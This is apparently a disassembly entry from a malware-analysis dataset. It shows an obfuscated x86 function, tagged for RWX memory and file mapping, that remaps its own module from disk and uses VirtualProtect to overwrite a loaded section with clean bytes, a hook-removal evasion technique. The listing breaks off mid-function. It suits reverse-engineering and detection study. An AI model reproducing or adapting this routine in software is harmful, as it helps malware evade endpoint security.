Function at 0x10001320
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xa0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa8], eax
mov eax, dword [0x1006b200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
mov edx, ecx
sub edx, 0xf036fe60
sub edx, 1
add edx, 0xf036fe60
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x9e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x9d], al
mov dword [ebp - 0xa4], 0x43d10cfa
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xac], eax
sub eax, 0x86e322ed
je 0x1000298b
jmp 0x100013a4
mov eax, dword [ebp - 0xac]
sub eax, 0x8880d0be
je 0x1000299a
jmp 0x100013ba
mov eax, dword [ebp - 0xac]
sub eax, 0x895557fc
je 0x10001cb3
jmp 0x100013d0
mov eax, dword [ebp - 0xac]
sub eax, 0x89c4bda6
je 0x1000225c
jmp 0x100013e6
mov eax, dword [ebp - 0xac]
sub eax, 0x8b4e9285
je 0x10001ade
jmp 0x100013fc
mov eax, dword [ebp - 0xac]
sub eax, 0x8e1983ca
je 0x10002bb3
jmp 0x10001412
mov eax, dword [ebp - 0xac]
sub eax, 0x925020e1
je 0x10002ab1
jmp 0x10001428
mov eax, dword [ebp - 0xac]
sub eax, 0x957ab2d2
je 0x10001c68
jmp 0x1000143e
mov eax, dword [ebp - 0xac]
sub eax, 0x9cdb6a26
je 0x1000226b
jmp 0x10001454
mov eax, dword [ebp - 0xac]
sub eax, 0x9d5bdb92
je 0x10002754
jmp 0x1000146a
mov eax, dword [ebp - 0xac]
sub eax, 0xa0c0059a
je 0x100024e0
jmp 0x10001480
mov eax, dword [ebp - 0xac]
sub eax, 0xa20a58d2
je 0x10002096
jmp 0x10001496
mov eax, dword [ebp - 0xac]
sub eax, 0xa8034444
je 0x1000218d
jmp 0x100014ac
mov eax, dword [ebp - 0xac]
sub eax, 0xa9de5cda
je 0x10001b76
jmp 0x100014c2
mov eax, dword [ebp - 0xac]
sub eax, 0xaa383ed0
je 0x100023bf
jmp 0x100014d8
mov eax, dword [ebp - 0xac]
sub eax, 0xaaaf442d
je 0x10001b85
jmp 0x100014ee
mov eax, dword [ebp - 0xac]
sub eax, 0xaba25bd4
je 0x10002b0a
jmp 0x10001504
mov eax, dword [ebp - 0xac]
sub eax, 0xb1641d93
je 0x1000236e
jmp 0x1000151a
mov eax, dword [ebp - 0xac]
sub eax, 0xb2a16149
je 0x1000245c
jmp 0x10001530
mov eax, dword [ebp - 0xac]
sub eax, 0xb46df0d7
je 0x10001fc4
jmp 0x10001546
mov eax, dword [ebp - 0xac]
sub eax, 0xb67a397e
je 0x100026d0
jmp 0x1000155c
mov eax, dword [ebp - 0xac]
sub eax, 0xb953c667
je 0x10002644
jmp 0x10001572
mov eax, dword [ebp - 0xac]
sub eax, 0xba1a0dad
je 0x10001f73
jmp 0x10001588
mov eax, dword [ebp - 0xac]
sub eax, 0xbc7a12a1
je 0x10002ba1
jmp 0x1000159e
mov eax, dword [ebp - 0xac]
sub eax, 0xc19440f1
je 0x10002653
jmp 0x100015b4
mov eax, dword [ebp - 0xac]
sub eax, 0xc4f78f40
je 0x10001dd2
jmp 0x100015ca
mov eax, dword [ebp - 0xac]
sub eax, 0xcb4a6b54
je 0x10001f64
jmp 0x100015e0
mov eax, dword [ebp - 0xac]
sub eax, 0xcdbf5b86
je 0x10001e92
jmp 0x100015f6
mov eax, dword [ebp - 0xac]
sub eax, 0xce6afd76
je 0x1000282c
jmp 0x1000160c
mov eax, dword [ebp - 0xac]
sub eax, 0xcfe07ba0
je 0x1000283b
jmp 0x10001622
mov eax, dword [ebp - 0xac]
sub eax, 0xd285e83c
je 0x100028a7
jmp 0x10001638
mov eax, dword [ebp - 0xac]
sub eax, 0xdc439f82
je 0x100021ed
jmp 0x1000164e
mov eax, dword [ebp - 0xac]
sub eax, 0xdd402908
je 0x100029ac
jmp 0x10001664
mov eax, dword [ebp - 0xac]
sub eax, 0xe5705bda
je 0x10002bcc
jmp 0x1000167a
mov eax, dword [ebp - 0xac]
sub eax, 0xeb59efb0
je 0x10001bce
jmp 0x10001690
mov eax, dword [ebp - 0xac]
sub eax, 0xeb7e1ad0
je 0x10001dff
jmp 0x100016a6
mov eax, dword [ebp - 0xac]
sub eax, 0xed452cc7
je 0x10002ae6
jmp 0x100016bc
mov eax, dword [ebp - 0xac]
sub eax, 0x9492efc
je 0x100022a9
jmp 0x100016d2
mov eax, dword [ebp - 0xac]
sub eax, 0xfa66c07
je 0x10001e74
jmp 0x100016e8
mov eax, dword [ebp - 0xac]
sub eax, 0x10de0cc8
je 0x10001e4f
jmp 0x100016fe
mov eax, dword [ebp - 0xac]
sub eax, 0x13cb7892
je 0x10001c59
jmp 0x10001714
mov eax, dword [ebp - 0xac]
sub eax, 0x19a11b41
je 0x10002033
jmp 0x1000172a
mov eax, dword [ebp - 0xac]
sub eax, 0x1c67eb9e
je 0x10001df0
jmp 0x10001740
mov eax, dword [ebp - 0xac]
sub eax, 0x21ff7e8b
je 0x1000254e
jmp 0x10001756
mov eax, dword [ebp - 0xac]
sub eax, 0x24bd9eb1
je 0x10001d21
jmp 0x1000176c
mov eax, dword [ebp - 0xac]
sub eax, 0x2593ebb3
je 0x10002290
jmp 0x10001782
mov eax, dword [ebp - 0xac]
sub eax, 0x279563e7
je 0x100022c9
jmp 0x10001798
mov eax, dword [ebp - 0xac]
sub eax, 0x2b910624
je 0x10001f08
jmp 0x100017ae
mov eax, dword [ebp - 0xac]
sub eax, 0x2e29d2b2
je 0x1000210c
jmp 0x100017c4
mov eax, dword [ebp - 0xac]
sub eax, 0x33dcd3da
je 0x1000284a
jmp 0x100017da
mov eax, dword [ebp - 0xac]
sub eax, 0x350cb210
je 0x10002915
jmp 0x100017f0
mov eax, dword [ebp - 0xac]
sub eax, 0x3db1689f
je 0x1000246b
jmp 0x10001806
mov eax, dword [ebp - 0xac]
sub eax, 0x40920ae0
je 0x100029bb
jmp 0x1000181c
mov eax, dword [ebp - 0xac]
sub eax, 0x43d10cfa
je 0x10001997
jmp 0x10001832
mov eax, dword [ebp - 0xac]
sub eax, 0x443714dc
je 0x100027ac
jmp 0x10001848
mov eax, dword [ebp - 0xac]
sub eax, 0x44622378
je 0x10002a61
jmp 0x1000185e
mov eax, dword [ebp - 0xac]
sub eax, 0x44b303ec
je 0x10002042
jmp 0x10001874
mov eax, dword [ebp - 0xac]
sub eax, 0x46d748dc
je 0x10002889
jmp 0x1000188a
mov eax, dword [ebp - 0xac]
sub eax, 0x475001f8
je 0x100019eb
jmp 0x100018a0
mov eax, dword [ebp - 0xac]
sub eax, 0x4f7afc2d
je 0x10002a01
jmp 0x100018b6
mov eax, dword [ebp - 0xac]
sub eax, 0x557c415b
je 0x10001b3c
jmp 0x100018cc
mov eax, dword [ebp - 0xac]
sub eax, 0x58822d01
je 0x10002a76
jmp 0x100018e2
mov eax, dword [ebp - 0xac]
sub eax, 0x5ca853c1
je 0x10002763
jmp 0x100018f8
mov eax, dword [ebp - 0xac]
sub eax, 0x63efe72d
je 0x10002024
jmp 0x1000190e
mov eax, dword [ebp - 0xac]
sub eax, 0x64fd2d3d
je 0x10002662
mov bl, byte [ebp - 0x9e]
mov dh, byte [ebp - 0x9d]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdd402908
mov ecx, 0x475001f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd402908
mov ecx, 0x6f1ec474
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov ecx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.1000cfb0
add esp, 0xc
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0xa4], 0x557c415b
jmp 0x10002bd6
mov eax, dword [ebp - 0x60]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov edx, dword [ebp - 0x90]
mov eax, 0xa9de5cda
mov ecx, 0xaaaf442d
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x8880d0be
jmp 0x10002bd6
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40920ae0
mov ecx, 0xeb59efb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x5c], eax
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
mov edx, eax
add edx, 0x682e195
sub edx, 1
sub edx, 0x682e195
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40920ae0
mov ecx, 0x13cb7892
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x957ab2d2
jmp 0x10002bd6
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x8c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xa4], 0x895557fc
jmp 0x10002bd6
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4f7afc2d
mov ecx, 0x24bd9eb1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x58]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov eax, dword [ebp - 0x84]
mov ecx, 0xffffffff
cmp dword [eax], ecx
sete al
and al, 1
mov byte [ebp - 0x51], al
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
mov edx, eax
sub edx, 0xc52a93ce
sub edx, 1
add edx, 0xc52a93ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4f7afc2d
mov ecx, 0xc4f78f40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dl, byte [ebp - 0x51]
mov eax, 0xeb7e1ad0
mov ecx, 0x1c67eb9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x8880d0be
jmp 0x10002bd6
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xa4], 0x10de0cc8
jmp 0x10002bd6
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov dword [ebp - 0xa4], 0xfa66c07
jmp 0x10002bd6
mov dl, byte [ebp - 0x49]
mov eax, 0xcdbf5b86
mov ecx, 0x44b303ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
mov edx, ecx
add edx, 0x905adb09
sub edx, 1
sub edx, 0x905adb09
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x44622378
mov ecx, 0x2b910624
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
mov edx, eax
sub edx, 0xdce21183
sub edx, 1
add edx, 0xdce21183
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44622378
mov ecx, 0xcb4a6b54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0xba1a0dad
jmp 0x10002bd6
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
mov edx, eax
add edx, 0x113a8923
sub edx, 1
sub edx, 0x113a8923
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x58822d01
mov ecx, 0xb46df0d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x48]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
mov edx, eax
sub edx, 0xe51b7cfe
sub edx, 1
add edx, 0xe51b7cfe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x58822d01
mov ecx, 0x63efe72d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x19a11b41
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x8880d0be
jmp 0x10002bd6
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xa4], 0xa20a58d2
jmp 0x10002bd6
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
mov edx, ecx
sub edx, 0x67658e2d
sub edx, 1
add edx, 0x67658e2d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x699f2334
mov ecx, 0x2e29d2b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x44]
mov dword [eax], ecx
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x699f2334
mov ecx, 0xa8034444
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x7d5ae815
jmp 0x10002bd6
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
mov word [eax], 0
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x925020e1
mov ecx, 0x89c4bda6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x9cdb6a26
jmp 0x10002bd6
mov eax, dword [ebp - 0x70]
movzx eax, word [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x36], ax
mov dword [ebp - 0xa4], 0x2593ebb3
jmp 0x10002bd6
mov ax, word [ebp - 0x36]
movzx eax, ax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xa4], 0x9492efc
jmp 0x10002bd6
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x34]
mov eax, 0x33dcd3da
mov ecx, 0x279563e7
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
add eax, 0x16a1f41c
add eax, 0x18
sub eax, 0x16a1f41c
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xa4], 0x7026b03d
jmp 0x10002bd6
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
mov edx, eax
add edx, 0x1f550f84
sub edx, 1
sub edx, 0x1f550f84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed452cc7
mov ecx, 0xaa383ed0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
mov edx, ecx
sub edx, 0x7d55ccdb
sub edx, 1
add edx, 0x7d55ccdb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed452cc7
mov ecx, 0xb2a16149
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x3db1689f
jmp 0x10002bd6
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0x24]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x28]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x64]
mov byte [eax], cl
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
add eax, 0x3471d2cc
add eax, ecx
sub eax, 0x3471d2cc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xa4], 0xa0c0059a
jmp 0x10002bd6
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaba25bd4
mov ecx, 0x21ff7e8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub ecx, 0xf8db1239
add ecx, eax
add ecx, 0xf8db1239
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1000d110
add esp, 0xc
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x8c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, edi
sub esi, eax
mov eax, dword [ebp - 0x68]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x64]
mov byte [eax], cl
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaba25bd4
mov ecx, 0xb953c667
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0xc19440f1
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x64fd2d3d
jmp 0x10002bd6
mov eax, dword [ebp - 0x70]
mov ax, word [eax]
add ax, 0x9b4
add ax, 1
sub ax, 0x9b4
mov word [ebp - 0x16], ax
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbc7a12a1
mov ecx, 0x9d5bdb92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x5ca853c1
jmp 0x10002bd6
mov eax, dword [0x1006c540]
mov ecx, dword [0x1006c53c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e1983ca
mov ecx, 0x443714dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov eax, dword [ebp - 0x70]
mov cx, word [ebp - 0x16]
mov word [eax], cx
mov ecx, dword [0x1006c540]
mov eax, dword [0x1006c53c]
mov edx, ecx
sub edx, 0x91bafc39
sub edx, 1
add edx, 0x91bafc39
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8e1983ca
mov ecx, 0xce6afd76
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa4], eax
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0xcfe07ba0
jmp 0x10002bd6
mov dword [ebp - 0xa4], 0x9cdb6a26
jmp 0x10002bd6
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
